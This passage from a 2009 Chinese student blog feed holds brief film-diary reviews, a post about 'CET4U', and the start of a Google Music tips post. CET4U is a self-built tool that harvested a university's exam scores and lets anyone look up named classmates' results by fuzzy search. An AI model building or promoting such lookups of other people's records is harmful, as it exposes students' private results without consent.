<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1451430/">野猪大改造</a>&gt;也没有评分(8.1分)那样有含金量.可能自己的期望比较高吧,所以也比较失望.</p>
<h3>20100210 星期三 阴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3264045/">花木兰</a>&gt;要比&lt;<a href="http://www.douban.com/subject/3305722/">刺陵</a>&gt;靠点谱.</p>
<h3>20100209 星期二 小雨</h3>
<p style="padding-left: 30px;">估计是这几天越来越懒了,最近看的电影一直都没有怎么更新.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1292262/">美国往事</a>&gt;感觉演的还可以.一个人的一生坎坎坷坷都在4小时的电影中展现.被朋友背叛,被心爱之人抛弃,被朋友算计.</p>
<p style="padding-left: 30px;">潦倒的一生,抑郁的一生.</p>
<h3>20100129 星期五</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1308575/">蓝色大门</a>&gt;,台湾青春.</p>
<h3>20100128 星期四</h3>
<p style="padding-left: 30px;">昨天看的是&lt;<a href="http://www.douban.com/subject/3805953/">不能没有你</a>&gt;,台湾的温情片.充满爱.</p>
<h3>20100126 星期二 晴</h3>
<p style="padding-left: 30px;">三天的荒废,换来&lt;<a href="http://www.douban.com/subject/1997685/">交响情人梦</a>&gt;的完结.不用说确实是一部非常优秀的日剧.</p>
<p style="padding-left: 30px;">发现一般的日剧都是很励志的.让人有上进心.给人以力量.</p>
<h3>20100124 星期日</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3135483/">严肃的男人</a>&gt;,太严肃,没看懂.</p>
<h3>20100123 星期六 晴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/2252773/">末日危途</a>&gt;,感觉和&lt;<a href="http://www.douban.com/subject/2225784/">末日病毒</a>&gt;有一拼.都是发生在人类劫难后的故事.不过貌似没有看明白.</p>
<h3>20100121 星期四</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3626416/">十月围城</a>&gt;,最后那个片段,当梁家辉拉着车奔跑.</p>
<p style="padding-left: 30px;">感觉,他们是在奔跑着寻找中国的希望.</p>
<h3>20100119 星期二</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3824672/">听说</a>&gt;,很纯净.</p>
<h3>20100116 星期六</h3>
<p style="padding-left: 30px;">临近早上的时候看的电影&lt;<a href="http://www.douban.com/subject/1303246/">阻击电话亭</a>&gt;,感觉有一个单词&#8221;lie&#8221;.</p>
<p style="padding-left: 30px;">很多时候,缺少的是真正对自己的检讨.</p>
<h3>20100111 星期一 阴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1652587/">阿凡达</a>&gt;,一部看了几次都没有完整看完的影片,终于在家里看完了.</p>
<p style="padding-left: 30px;">3D效果怎一级棒了得,推荐一个!</p>
<h3>20100109 星期六 阴</h3>
<p style="padding-left: 30px;">晚上看了个电影，一直准备看，但是没有找到较好品质的片源。于是凑活看了一下，《<a href="http://www.douban.com/subject/3718447/">三枪拍案惊奇</a>》，小沈阳主演的。</p>
<p style="padding-left: 30px;">说实话，这电影只能评价一般。丝毫没有内容可言，笑料也就那几个，感觉完全堆砌而成。失败啊。。。</p>
<h3>20091229 星期二</h3>
<p style="padding-left: 30px;">《<a href="http://www.douban.com/subject/1300117/">千钧一发</a>》这个科幻片演的挺有才，从另一个方面阐释了人。</p>
<p style="padding-left: 30px;">当一种技术可以控制人的时候，应该留下一点温存、最后的领土。</p>
<h3>20091227 星期日</h3>
<p style="padding-left: 30px;">许久不看电影了，今天破戒看一回。</p>
<p style="padding-left: 30px;">《<a href="http://www.douban.com/subject/3862627/">扑克王</a>》，古天乐主演的赌片。内容老套，毫无新意。 纯属商业娱乐用，不推荐。</p>
<h3>20091222 星期二</h3>
<p style="padding-left: 30px;">凌晨看一个电影,在&lt;读者&gt;上看到的,名叫&lt;<a href="http://www.douban.com/subject/3011049/">姐姐的守护者</a>&gt;.</p>
<p style="padding-left: 30px;">感觉这个社会上有很多的矛盾,往往事物都不只有黑白两面,它其实应该就是矛盾的结合体.</p>
<p style="padding-left: 30px;">在矛盾中前行,虽难但时却可以收获很多.估计,这样也值得.</p>
<h3>20091220 星期日 晴</h3>
<p style="padding-left: 30px;">现在的位置是:学校-&gt;寝室-&gt;同学笔记本前.</p>
<p style="padding-left: 30px;">因为没有把电脑带过来,所以上网还是相对比较难.</p>
<p style="padding-left: 30px;">特别推荐一下在家看的几个电影:&lt;<a href="http://www.douban.com/subject/1780330/">致命魔术</a>&gt;和&lt;<a href="http://www.douban.com/subject/1297630/">第六感</a>&gt;,很好,很经典.</p>
<h3>20091216 星期三 X</h3>
<p style="padding-left: 30px;">想说一下那个&lt;<a href="http://www.douban.com/subject/2225784/">末日病毒</a>&gt;,刚开始看着就是感觉刺激.但是往后看,越来越感觉人的自私.真的可以为了生存不择手段.你可以抛弃亲人,抛弃伴侣,抛弃朋友.</p>
<p style="padding-left: 30px;">但,不这样做,又于事无补.心灵的刺痛.</p>
<p style="padding-left: 30px;">&#8220;昨天&#8221;看的&lt;<a href="http://www.douban.com/subject/1292528/">猜火车</a>&gt;,一直听介绍不错.但是总不能抽出来时间去看.今天终于有这个精神看一遍.(其实是因为看了&lt;<a href="http://www.douban.com/subject/1849371/">太阳浩劫</a>&gt;以后&#8221;被推荐&#8221;才看的,都是同一个导演,因为此导演<a href="http://www.douban.com/movie/search/Danny%20Boyle">Danny Boyle</a>08年的作品&#8221;<a href="http://www.douban.com/subject/2209573/">平民窟的百万富翁</a>&#8220;确实很棒.)</p>
<p style="padding-left: 30px;">这个片子(猜火车)感觉就是稍微有些乱.主要讲的是吸毒.可能是苏格兰背景(片中英语真的是和平常听到的美式英语有很大不同).</p>
<p style="padding-left: 30px;">青春,成熟,叛逆,性,吸毒,堕落,反省,背叛&#8230;</p>
<p style="padding-left: 30px;">感触颇深的就是片子开始和结束的时候所说的一段台词,在片子开始的时候听到和在片子结束的时候听到这的感觉很不同.很有才.</p>
<h3>20091215 星期二 X</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1306733/">新精武门</a>&gt;,这部周星驰的作品还是有几处笑点的.</p>
<p style="padding-left: 30px;">不过,似乎没有什么内涵.</p>
<p style="padding-left: 30px;">&#8211; &#8212; &#8211;</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/2132932/">星际旅行11</a>&gt;确实不错,很科幻,很漂亮!</p>
<h3>20091214 星期一 X</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1395776/">逃出克隆岛</a>&gt;,前半部分真的很炫,后半部分接近动作片,科幻的意味就少了很多.</p>
<p style="padding-left: 30px;">不过,看完以后让我思考,到底克隆对不对,应该不应该.这真是个头疼的问题,有正面的作用,也有反面的作用.到底&#8221;克隆人&#8221;仅仅是个&#8221;产品&#8221;,还是和我们一样是有&#8221;人权&#8221;的人类?</p>
<h3>20091213 星期天 阴</h3>
<p style="padding-left: 30px;">这几天也没有怎么更新这个博文,因为最近复习进度紧张,没有心情更新.(因为总是完不成既定任务)</p>
<p style="padding-left: 30px;">关于那个&lt;<a href="http://www.douban.com/subject/1293691/">索多玛120天</a>&gt;,本人提前声明,是相当的恶心,恐怖,暴力,色情,残忍的.</p>
<p style="padding-left: 30px;">如果没有做好心理准备最好不要下载观看,如果真的想的话,最好还是先参考一下豆瓣的相关介绍以及评论.</p>
<h3>20091210 星期四 雾</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3160978/">世界上最伟大的父亲</a>&gt;,真情,不做作.</p>
<h3>20091209 星期三 多云</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3338821/">电焊工波力</a>&gt;演的挺搞,虽然是个不到十分钟的短片,但是倒还有趣.WALL-E的确经典&#8230;</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3073648/">坏中尉</a>&gt;,中尼古拉斯凯奇的演技是毋庸置疑的.</p>
<h3>20091208 星期二 晴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1300193/">性爱狂想曲</a>&gt;纯属恶搞,有点粗制滥造的感觉.</p>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1309172/">初恋50次</a>&gt;虽然表面上看上去比较商业,但是仔细想想,其实每个人都有一次失忆,只不过时间比较长罢了,那即是人生.一生一次的失忆.</p>
<p style="padding-left: 30px;">一般的人生更像是&#8221;硬盘&#8221;,而女主角的更像是&#8221;内存&#8221;.</p>
<h3>20091207 星期一 X</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1293359/">菊次郎的夏天</a>&gt;,佳作!</p>
<p style="padding-left: 30px;">看到最后才知道原来北野武饰演的那个中年人才是&#8221;菊次郎&#8221;,一直以为那个小孩儿是呢.</p>
<p style="padding-left: 30px;">原来一个人可以有那么美好的夏天,羡慕ING&#8230;</p>
<h3>20091206 星期天 晴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/2223596/">特种部队：眼镜蛇的崛起</a>&gt;演的挺炫的,画面场景很酷.</p>
<p style="padding-left: 30px;">但,仅此而已.</p>
<h3>20991205 星期六 X</h3>
<p style="padding-left: 30px;">凌晨看的&lt;<a href="http://www.douban.com/subject/1292401/">真爱至上</a>&gt;,刚开始看感觉有些乱,但是随着情节的深入感觉还是挺棒的.</p>
<p style="padding-left: 30px;">刚开始那个&#8221;老头&#8221;唱的那个歌比较有意思,那一段很动听.</p>
<p style="padding-left: 30px;">不同类型的人,用不同的方式诠释爱情,但因为有真爱,用真爱,便,得到真爱.</p>
<p style="padding-left: 30px;">&#8211; &#8212; &#8211;</p>
<p style="padding-left: 30px;">半夜又看了两个电影&lt;<a href="http://www.douban.com/subject/1301746/">汉尼拔</a>&gt;和&lt;<a href="http://www.douban.com/subject/1900841/">窃听风暴</a>&gt;.</p>
<p style="padding-left: 30px;">窃听风暴讲的很深刻.力荐看一下.</p>
<h3>20091204 星期五 多云</h3>
<p style="padding-left: 30px;">刚看完一部让我从第一秒看到最后一秒的影片:&lt;<a href="http://www.douban.com/subject/1915403/">现在只想爱你</a>&gt;,这部电影如果我不强烈推荐一下,我都对不住我自己了.真是一部催泪大片.当看到结尾,两人接吻那张照片下面的字时,我怎能不留下眼泪.</p>
<p style="padding-left: 30px;">&#8220;生涯ただ一度のキス、ただ一度の恋&#8221;(一生一次的吻，一生一次的爱)</p>
<p style="padding-left: 30px;">一生一次才显珍贵.一生一次才显价值</p>
<h3>20091203 星期四 晴</h3>
<p style="padding-left: 30px;">听说评论不错才看的&lt;<a href="http://www.douban.com/subject/3072124/">玛丽和马克思</a>&gt;,但看不太明白&#8230; 水平不够啊&#8230;</p>
<h3>20091202 星期三 晴/月光</h3>
<p style="padding-left: 30px;">今天凌晨看的电影&lt;<a href="http://www.douban.com/subject/1937946/">穿越时空的少女</a>&gt;,日本动画片.</p>
<p style="padding-left: 30px;">发现,睡了一觉居然不记得故事的情节了,最后的情节,难道太困的缘故?或许吧!</p>
<h3>20091201 星期二 阴</h3>
<p style="padding-left: 30px;">昨天晚上看了两场电影,一个是&lt;<a href="http://www.douban.com/subject/1300616/">买凶拍人</a>&gt;,另一个是&lt;<a href="http://www.douban.com/subject/3737283/">隋朝来客</a>&gt;</p>
<p style="padding-left: 30px;">重点说下那个隋朝来客,真的是相当垃圾,纯粹是粗制滥造,滥竽充数型的.拍出来就是丢人用的.失败!</p>
<p style="padding-left: 30px;">&#8211; &#8212; &#8211;</p>
<p style="padding-left: 30px;">晚上看的&lt;<a href="http://www.douban.com/subject/1478063/">世贸中心</a>&gt;,让我思考,一个人的渺小,如果当时我在,挂了.会有人记得我吗?我生命的价值在哪?</p>
<p style="padding-left: 30px;">人活,不能盲目.要产生自己的影响,哪怕有一个人知道你的存在也行.关键是存在的价值.</p>
<h3>20091129 星期日 阴</h3>
<p style="padding-left: 30px;">昨天看了一部电影&lt;<a href="http://www.douban.com/subject/1305487/">猫鼠游戏</a>&gt;,汤姆汉克斯主演的,看到刚开始的地方发现之前看过.</p>
<p style="padding-left: 30px;">不过,看过之后发现很多之前没有注意到的细节.</p>
<p style="padding-left: 30px;">&#8211; &#8212; &#8211;</p>
<p style="padding-left: 30px;">晚上看了一部挺棒的日本电影&lt;<a href="http://www.douban.com/subject/1395080/">借着雨点说爱你</a>&gt;,很动人&#8230;</p>
<p style="padding-left: 30px;">半夜看的&lt;<a href="http://www.verycd.com/topics/2766930/">彼岸</a>&gt;,吉林大学的,挺不错,现在的学生很有才.</p>
<h3>20091126 星期四 阴</h3>
<p style="padding-left: 30px;">今天终于可以静下心来看<a title=" 2012 / 2012末日预言 / 2012世界末日" href="http://www.douban.com/subject/3005875/">一场电影</a>.不错.但,是不是有些荒废呢?</p>
<h3>20091123 星期一 多云</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1292220/">情书</a>&gt;演的很质朴,让人不由自主的联想起自己.</p>
<p style="padding-left: 30px;">这动人的情感,谁不曾拥有?!</p>
<h3>20091122 星期天 多云</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/3558661/">倔强萝卜</a>&gt;,挺垃圾.</p>
<h3>20091121 星期六 晴</h3>
<p style="padding-left: 30px;">&lt;绿色奇迹&gt;真的是演的太棒了!直面人性.</p>
<h3>20091120 星期五 晴</h3>
<p style="padding-left: 30px;">&lt;<a href="http://www.douban.com/subject/1299327/">夜访吸血鬼</a>&gt;演的不错,很有感觉.</p>
<h3>20091119 星期四 晴</h3>
<p style="padding-left: 30px;">晚上看的&lt;<a href="http://www.douban.com/subject/2135981/">画皮</a>&gt;,看完我被感动了.</p>
<p style="padding-left: 30px;"><em>我哽咽,不知为何.</em></p>
<h3>20091116 星期一 阴</h3>
<p style="padding-left: 30px;">熄灯后,和同寝室的张胤同学一起看了一个电影:&lt;<a href="http://www.douban.com/subject/3011308/">孤儿</a>&gt;,有些恐怖,但,现在回想起来,只是恐怖,不是很好.</p>
<h3>20091115 星期日 多云</h3>
<p style="padding-left: 30px;">中午把昨天晚上没有看完的&lt;<a href="http://www.douban.com/subject/2256034/">豚鼠特工队</a>&gt;看完了.的确是一部很好的动画片.效果很棒.那几个&#8221;豚鼠&#8221;很逼真,感叹的现在的3D技术啊.</p>
<p style="padding-left: 30px;">中午没有睡觉,看了另一个电影:&lt;<a href="http://www.douban.com/subject/3230459/">李米的猜想</a>&gt;,周迅主演的.其实主要还是里面有我的&#8221;老乡&#8221;:王宝强.</p>
<h3>20091114 星期六 阴/雪</h3>
<p style="padding-left: 30px;">晚上看的&lt;<a href="http://www.douban.com/subject/3734112/">风声</a>&gt;,很少看这么棒的国产电影了.</p>
<p style="padding-left: 30px;">开来张胤推荐的电影还是可以的.</p>
<h3>20091113 星期五 雪</h3>
<p style="padding-left: 30px;">中午看的&lt;<a href="http://www.douban.com/subject/3072086/">和莎莫的500天</a>&gt;.挺有感觉.</p>
<h3>20091104 星期三 凌晨</h3>
<p style="padding-left: 30px;">凌晨看了一部金凯瑞的电影&lt;<a href="http://www.douban.com/subject/1292064/">楚门的世界</a>&gt;,真的是非常棒的一部电影!</p>
<p style="padding-left: 30px;">在楚门的世界中,一切都是谎言.虽然这个现实的世界也不是十分完美.为何楚门还要出去,迈出最后一步?我很感慨他的勇气.从中折射出人类对自由的向往.</p>
<p style="padding-left: 30px;">明明知道前方是泥泞也要自己闯一闯,经历过,才感觉真!</p>
<h3>20091030 星期五 阴</h3>
<p style="padding-left: 30px;">凌晨做完一个小程序以后.实在无聊.看了一个电影:&lt;<a href="http://www.douban.com/subject/1295644/">这个杀手不太冷</a>&gt;.</p>
<p style="padding-left: 30px;">以前一直说要看,但总是感觉时机不对.看过以后大呼过瘾!的确是让雷诺的经典之作.</p>
<h3>20091029 星期四 阴/雾</h3>
<p style="padding-left: 30px;">忙一下午,傍晚看了&lt;<a href="http://www.douban.com/subject/3073124/">Moon</a>&gt;,由于只有英文字幕,故事细节没有看的太明白.</p>
<p style="padding-left: 30px;">还行!</p>
<h3>20091027 星期二 多云</h3>
<p style="padding-left: 30px;">半夜看了一个科幻片:&lt;<a href="http://www.douban.com/subject/2046839/">有关时间旅行的热门问题</a>&gt;,挺有意思的.有关的悖论还是要思考一下.</p>
<h3>20091026 星期一 多云</h3>
<p style="padding-left: 30px;">在家看了几个电影:&lt;<a href="http://www.douban.com/subject/3543690/">建国大业</a>&gt;,&lt;<a href="http://www.douban.com/subject/2129039/">UP</a>&gt;和&lt;<a href="http://www.douban.com/subject/1298038/">诺丁山</a>&gt;.</p>
<p style="padding-left: 30px;">其中Up演的相对来说还是不错的.虽然是个动画片.但是情节内容很感人.其中那个女的很像&#8221;冀晓静&#8221;.</p>
<p style="padding-left: 30px;">晚上还看了一个科幻片:&lt;<a href="http://www.douban.com/subject/2993217/">代理人</a>&gt;.</p>
<h3>20091022 星期四 凌晨</h3>
<p style="padding-left: 30px;">姜文很有才,&lt;<a href="http://www.douban.com/subject/1291858/">鬼子来了</a>&gt;拍的很好.</p>
<p style="padding-left: 30px;">然后是&lt;<a href="http://www.douban.com/subject/1410556/">终结者4</a>&gt;.有点混乱.没有前几部经典.</p>
<h3>20091016 星期五 阴</h3>
<p style="padding-left: 30px;">下午看了同学推荐的一个电影&lt;<a href="http://www.douban.com/subject/1291875/">阳光灿烂的日子</a>&gt;,以前只看过一个片段.</p>
<p style="padding-left: 30px;">看这部影片,让我想起,人生,童年,青春,时光,和回不去的过去.</p>
<h3>20091010 星期六 晴</h3>
<p style="padding-left: 30px;">中午看了一个电影&lt;<a href="http://www.douban.com/subject/1764796/">9</a>&gt;,之前就一直在关注,上午正好VeryCD上有<a href="http://www.verycd.com/topics/2773034/">分享</a>于是就下载下来看.</p>
<p style="padding-left: 30px;">不错,实在是赞叹国外动画的制作水平之高.整个动画的纹理修饰是相当的好.</p>
<h3>20091004 星期日 晴/多云</h3>
<p style="padding-left: 30px;">昨天晚上看的&lt;<a href="http://www.douban.com/subject/1917171/">硫磺岛家书</a>&gt;,感觉战争这个玩意真的说不准,到底是为了什么呢?利益?</p>
<p style="padding-left: 30px;">很感慨日本和美国母亲给自己的儿子的家书,都是那么多关切.</p>
<p style="padding-left: 30px;">晚上看的是&lt;<a href="http://www.douban.com/subject/1293544/">沉默的羔羊</a>&gt;,以前一直听说过这个影片,但是今天晚上看了以后感觉确实很震撼,虽然是20年前的片子.但是给人的震撼真的是没有一点减少.很棒!</p>
<h3>20091001 星期四 阴</h3>
<p style="padding-left: 30px;">上午看的国庆阅兵,下午同学推荐看了&lt;<a href="http://www.douban.com/subject/4009651/">斗牛</a>&gt;,演到最后一组镜头的时候,我被感动了.</p>
<p style="padding-left: 30px;">人的质朴.我很欣赏.</p>
<h3>20090929 星期一 多云</h3>
<p style="padding-left: 30px;">昨天有朋友推荐看一个电影:&lt;<a href="http://www.douban.com/subject/1292275/">罗拉快跑</a>&gt;,一个德国电影.</p>
<p style="padding-left: 30px;">短短一个小时十几分钟的电影《疾走罗拉》像一部无情揭示人类宿命的诏书，让人无限深思，心存敬畏！ / 影评:<a href="http://www.douban.com/review/1093057/">《罗拉快跑》――命运前再次感受人类的渺小</a> /</p>
<p style="padding-left: 30px;">然后又看了一个最近国产的影片,&lt;<a href="http://www.douban.com/subject/3737290/">欠我十万零五千</a>&gt;,就是搞,没有别的了.比较差劲吧.</p>
<h3>20090920 星期一 阴</h3>
<p style="padding-left: 30px;">昨天看完了11集的<a href="http://www.douban.com/subject/2018131/">求婚大作战</a>,这个剧集安排的非常好,可以说是比较杰出的日本偶像剧.剧中的&#8221;老爷爷&#8221;的观点深深的触动了我,很有感触.</p>
<p style="padding-left: 30px;">其实,自己不就是想要那种不后悔的人生吗?在现实生活中不可能有那个控制时空&#8221;妖精&#8221;,所以自己才更需要善于抓住时机,及时出手,尽量少做那些让自己后悔的事情.</p>
<p style="padding-left: 30px;">现在我就是要把剧中的某些观点用到现实生活当中去,继续前行吧!</p>
<h3>20090911 星期五 阴</h3>
<p style="padding-left: 30px;">中午用两个小时看完了这个&lt;<a href="http://www.douban.com/subject/1900180/">泪光闪闪</a>&gt;,有些触动.一颗心对另一颗心真心,彼此都会有触动.</p>
<p style="padding-left: 30px;">关键是心与心之间的交流,动真心,用真情.</p>
<h3>20090918 星期五 晴</h3>
<p style="padding-left: 30px;">昨天晚上看的《<a href="http://www.douban.com/subject/3586725/">金氏漂流记</a>》，中间又一段演的还可以，很有趣。</p>
<div id="_mcePaste" style="left: -10000px; overflow: hidden; width: 1px; position: absolute; top: 0px; height: 1px;"><a onclick="moreurl(this,{i:'0'})" href="http://www.douban.com/subject/1915403/">现在只想爱你 / <span style="font-size: 12px;">只是爱着你 / 藉着写真说爱你</span></a></div>
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		<title>[作品]长春理工大学英语四六级查询工具(CET4U)</title>
		<link>http://meiyou.org/2009/08/cet4u/</link>
		<comments>http://meiyou.org/2009/08/cet4u/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 09:50:43 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[原创作品]]></category>
		<category><![CDATA[RBT]]></category>
		<category><![CDATA[大一生活]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[编程]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=1030</guid>
		<description><![CDATA[本工具最大的特点是不是用以往的按准考证号查询,而是采用姓名查询,同时支持模糊查询.
使那些忘记准考证的考生很快查询到自己的成绩.
本工具只可查询长春理工大学2009年06月四六级成绩.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>程序测试地址:<em><a href="http://meiyou.org/test2009/CET4U/">http://meiyou.org/test2009/CET4U/</a></em></strong></p>
<h3>编写缘由</h3>
<p>昨天(八月二十日),大学英语四级成绩可以<a title="查询地址" href="http://cet.99sushe.com/">查询</a>,我上午查了一下,很不幸考了<strong>404</strong>分.差21分不到<strong>425</strong>及格分数.但是我还想查一下一个同学的成绩.分析了一些协议,本来准备这几天复习补考的科目的,实在是忍不住,拿着笔记本到教学楼研究去了.</p>
<h3>分析过程</h3>
<p>[由于涉及到一些安全因素,在此暂不公布相关的分析过程.如有研究需要,请直接联系我.]</p>
<h3>功能模块</h3>
<p>注:此程序只可查询09年6月份长春理工大学考生的四级成绩.</p>
<p>一般的查询都是按照准考证号来查询,而<strong>CET4U</strong>可以按照姓名来查询,而且支持模糊查询.比方说你想知道姓李的成绩怎么样,那么你可以直接输入<strong><span style="text-decoration: underline;"><span style="color: #800000;">李</span></span></strong>,程序会自动列出姓李的成绩,如图:</p>
<p><img class="alignnone size-full wp-image-1040" title="按姓氏李进行查询" src="http://meiyou.org/wp-content/uploads/2009/08/li2.png" alt="按姓氏李进行查询" width="626" height="262" /></p>
<p>另外如果你忘记了某个人的姓,只知道这个人叫什么名字,没有关系,<strong>CET4U</strong>同样有办法解决.比如你想查询一个叫”XX涛”的人,你可以输入<span style="text-decoration: underline;"><span style="color: #800000;"><strong>%涛</strong></span></span>来查询这个人.如图:</p>
<p><img class="alignnone size-full wp-image-1033" title="对名字中包含&quot;涛&quot;的进行模糊查询" src="http://meiyou.org/wp-content/uploads/2009/08/tao.png" alt="对名字中包含&quot;涛&quot;的进行模糊查询" width="628" height="210" /></p>
<p>其中,高亮的是总分超过425分的人.没有特殊显示的都是没有过的人.(过的人还真不多,从颜色上就可以直接看出来.)</p>
<p>其实这个程序现在我做的是比较简单的.同寝室的同学说我的这个东西没有太大的开发价值,所以我也就不准备再在这个上面投入太多,所以说大家现在看到的基本上就不会有什么变化.</p>
<h3>关于[FREE CODE]</h3>
<p>本来没有准备设置这么个东西,但是由于我是租用的别人的虚拟空间,怕如果查询的人数增多会给服务器增加额外的压力.所以,就设置了这么一个东西,可以说的一个[FREE CODE]是我的生日(8位),有兴趣的可以搜索一下.</p>
<h3>关于四六级的一些统计数据</h3>
<p><strong>CET4U</strong>现在共收录了<strong>10316</strong>条四级数据,<strong>5065</strong>条六级数据.(全部为长春理工大学2009年06月CET成绩)</p>
<p style="padding-left: 30px;"><em>四级数据(<strong>10316条</strong>)中:</em></p>
<p style="padding-left: 30px;">共有<strong>1870</strong>人及格(即总分大于等于425分),占报名人数的<strong>18.13</strong>%;</p>
<p style="padding-left: 30px;">共有<strong>8446</strong>人不及格(即总分小于425分),占报名人数的<strong>81.87</strong>%;</p>
<p style="padding-left: 30px;">不及格人数中共有<strong>1088</strong>人没有成绩(即总成绩为0分),占报名人数的<strong>10.55</strong>%;</p>
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">
<p style="padding-left: 30px;"><em>六级数据(<strong>5056条</strong>)中:</em></p>
<p style="padding-left: 30px;">共有<strong>517</strong>人及格(即总分大于等于425分),占报名人数的<strong>10.21</strong>%;</p>
<p style="padding-left: 30px;">共有<strong>4548</strong>人不及格(即总分小于425分),占报名人数的<strong>89.79</strong>%;</p>
<p style="padding-left: 30px;">不及格人数中共有<strong>1412</strong>人没有成绩(即总成绩为0分),占报名人数的<strong>27.88</strong>%;</p>
<h3>代码统计</h3>
<p>共编写<strong>10</strong>个文件,共<strong>526</strong>行.</p>
<h3>特别鸣谢</h3>
<p>感谢张胤同学,不时打击我,让我可以在这么短的时间内完成这个作品.</p>
<hr />
<h3>UPDATE</h3>
<p><strong>20090824</strong></p>
<p>CET4U数据库中四级成绩收录增至<strong>10316</strong>条记录.同时收录<strong>5065</strong>条六级记录.同样也是2009年06月长春理工大学的成绩.</p>
<hr />
<p><small>© 郭一实 for <a href="http://meiyou.org">meiyou.org</a>, 2009. |
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		<title>玩转谷歌音乐-谷歌音乐四大法宝!</title>
		<link>http://meiyou.org/2009/07/google-music-tips/</link>
		<comments>http://meiyou.org/2009/07/google-music-tips/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 08:06:22 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[古怪创意]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[大一生活]]></category>
		<category><![CDATA[朱爱民]]></category>
		<category><![CDATA[竞赛]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=871</guid>
		<description><![CDATA[同学收到Google的朱爱民老师的邮件,说有个玩转谷歌活动征文比赛,呵呵,反正无聊也是无聊,就写写我自己用谷歌音乐的经验,其实,用谷歌的产品还是比较多的,那就单拿谷歌音乐来说说吧.一下是正文内容.见笑!]]></description>
			<content:encoded><![CDATA[<p>同学收到Google的朱爱民老师的邮件,说有个<a title=" 玩转谷歌 - 大学生活宝典" href="http://www.google.cn/landing/tips/daxuebaodian/">玩转谷歌活动征文比赛</a>,呵呵,反正无聊也是无聊,就写写我自己用谷歌音乐的经验,其实,用谷歌的产品还是比较多的,那就单拿<a href="http://www.google.cn/music/homepage">谷歌音乐</a>来说说吧.以下是正文内容.见笑!</p>
<hr />在大学中,课外闲暇之余,我经常会上网听听歌曲,不同于以前的收听和下载那些侵权的音乐内容,现在我更多的是上谷歌音乐(<a href="http://www.google.cn/music/">http://www.google.cn/music/</a>)来收听自己喜欢的歌曲.下面我就介绍一下强大的<strong>谷歌音乐</strong>!</p>
<p><img class="size-full wp-image-872 alignnone" title="谷歌首页的谷歌音乐链接" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-13-47-26-2.png" alt="谷歌首页的谷歌音乐链接" width="494" height="309" /></p>
<h3>法宝一:接近潮流,掌握最新分类排行</h3>
<p>其实,上网站听歌就是想放松一下,与其遴遴选选,倒不如看一下现在大家都在听什么,所以看一下”<a href="http://www.google.cn/music/chartlisting?q=chinese_new_songs_cn&amp;cat=song&amp;grouping=new-release_music">排行榜</a>”是个不错的选择.除了有最新的专辑,最火热的歌曲,它 的分类也是相当全面的,比如有什么:摇滚,嘻哈,拉丁,R&amp;B,乡村,…基本可以满足你的喜好.</p>
<p><img class="size-full wp-image-873 alignnone" title="谷歌音乐的相似歌曲功能" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-14-25-18.png" alt="谷歌音乐的相似歌曲功能" width="601" height="193" /></p>
<p>同时如果你”看上”那个歌曲,那链接后面的”<strong>相似歌曲</strong>”估计你也会喜欢.这样就可收罗一些适合你类型或者心情的歌曲,添加到自己的播放列表尽情播放吧.</p>
<h3>法宝二喜欢就下下来吧!正版音乐免费下载</h3>
<p>想在自己的iPod上播放你喜欢的歌曲,可以!谷歌音乐同时提供了音乐的下载服务,而且我跟你说这些都是免费的,不可思议吧.是的,谷歌音乐提供了正版音乐下载服务,不只让你”试听”如果你喜欢某个歌曲,你也可以下载下来:</p>
<p><img class="size-full wp-image-874 alignnone" title="谷歌音乐下载页面" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-14-11-01.png" alt="谷歌音乐下载页面" width="650" height="225" /></p>
<p>于是你就可以很得意的告诉你的朋友你听的都是正版的歌曲,你还可以和你的朋友分享你收听的歌曲.(不要忘了告诉他们,你是从谷歌音乐下载下来的^_^)</p>
<h3>法宝三:另辟蹊径帮你找歌! 用”泡泡”挑歌<img class="size-full wp-image-875 alignnone" title="用谷歌音乐的泡泡挑歌" src="http://meiyou.org/wp-content/uploads/2009/07/2009-7-9-15-13-06.png" alt="用谷歌音乐的泡泡挑歌" width="735" height="404" /></h3>
